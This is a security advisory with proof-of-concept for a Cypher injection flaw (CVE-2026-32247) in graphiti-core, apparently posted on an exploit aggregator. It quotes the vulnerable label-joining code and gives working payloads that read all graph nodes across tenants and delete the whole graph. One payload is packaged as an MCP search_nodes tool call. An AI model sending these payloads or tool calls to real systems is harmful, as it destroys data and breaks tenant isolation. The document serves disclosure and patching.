Share
## https://sploitus.com/exploit?id=29F6A346-293F-556C-B0CE-8ABDFBC56F39
# CVE-2026-32247 โ€” Cypher Injection in graphiti-core via unsanitized node_labels

**Severity**: High (CVSS 8.1)
**CWE**: CWE-943 โ€” Improper Neutralization of Special Elements in Data Query Logic
**Affected**: `graphiti-core` <= 0.28.1 (pip)
**Fixed in**: 0.28.2
**Advisory**: [GHSA](https://github.com/getzep/graphiti/security/advisories)
**NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-32247

---

## TL;DR

`graphiti-core` builds Cypher `WHERE` clauses by joining user-supplied node label strings with `|` and concatenating them into a raw query. An attacker can inject arbitrary Cypher operators, exfiltrate data from any graph node across all tenants, or delete the entire graph โ€” no parameterization, no validation anywhere in the chain.

---

## Affected component

**File**: `graphiti_core/search/search_filters.py`, lines 91โ€“92 and 134โ€“135

```python
# Vulnerable code โ€” exact copy from source
node_labels = '|'.join(filters.node_labels)
node_label_filter = 'n:' + node_labels
# node_label_filter is then interpolated into a Cypher WHERE clause
```

**Entry point**: `mcp_server/src/graphiti_mcp_server.py`, line 441

```python
search_filters = SearchFilters(
    node_labels=entity_types,  # user input passed directly, no validation
)
```

The `entity_types` parameter flows from the MCP `search_nodes` tool call directly into the query builder. Both Neo4j and FalkorDB backends are affected. The Kuzu backend is not affected because it uses parameterized queries.

---

## Root cause

The `node_label_filter` value (`n:Label1|Label2`) is embedded into a Cypher query as:

```cypher
WHERE (n:Label1|Label2) AND ...
```

Because labels are joined by `|` and wrapped in parentheses by the caller, an attacker only needs to close the expression with `)` and inject new Cypher clauses. The `//` comment operator suppresses the rest of the original query.

---

## PoC

```python
# Exact logic from search_filters.py lines 91-92
def build_filter(node_labels):
    labels = '|'.join(node_labels)
    return 'n:' + labels

# Benign
print(build_filter(["Person", "Organization"]))
# โ†’ n:Person|Organization  โ†’  WHERE (n:Person|Organization) AND ...

# Exfiltration: read all nodes across all groups
print(build_filter(["Entity`) WITH n MATCH (x) RETURN x //"]))
# โ†’ n:Entity`) WITH n MATCH (x) RETURN x //
# Full Cypher: WHERE (n:Entity`) WITH n MATCH (x) RETURN x // AND ...
# The `) closes the WHERE, WITH starts a new pipeline, // drops the rest

# Deletion: wipe the entire graph
print(build_filter(["Entity`) WITH n MATCH (x) DETACH DELETE x //"]))
```

**Via MCP tool call:**

```json
{
  "tool": "search_nodes",
  "arguments": {
    "query": "test",
    "entity_types": ["Entity`) WITH n MATCH (x) DETACH DELETE x //"]
  }
}
```

---

## Impact

- **Data exfiltration**: Read any node/relationship across all `group_id` namespaces
- **Data destruction**: `DETACH DELETE` wipes the entire graph
- **Tenant isolation bypass**: The `group_id` filter is applied after the injectable label filter โ€” injecting a `WITH` clause bypasses it entirely
- Graphiti is used as the memory layer in several AI agent frameworks; the MCP interface makes this remotely exploitable by any connected agent

---

## Fix

The patched version validates node labels against an allowlist of alphanumeric characters before interpolation, and the fulltext search path uses parameterized queries for `group_id` values.

---

## Timeline

- **Discovery**: 2026-03-xx
- **Reported**: GHSA private advisory
- **Patch released**: graphiti-core 0.28.2
- **CVE published**: CVE-2026-32247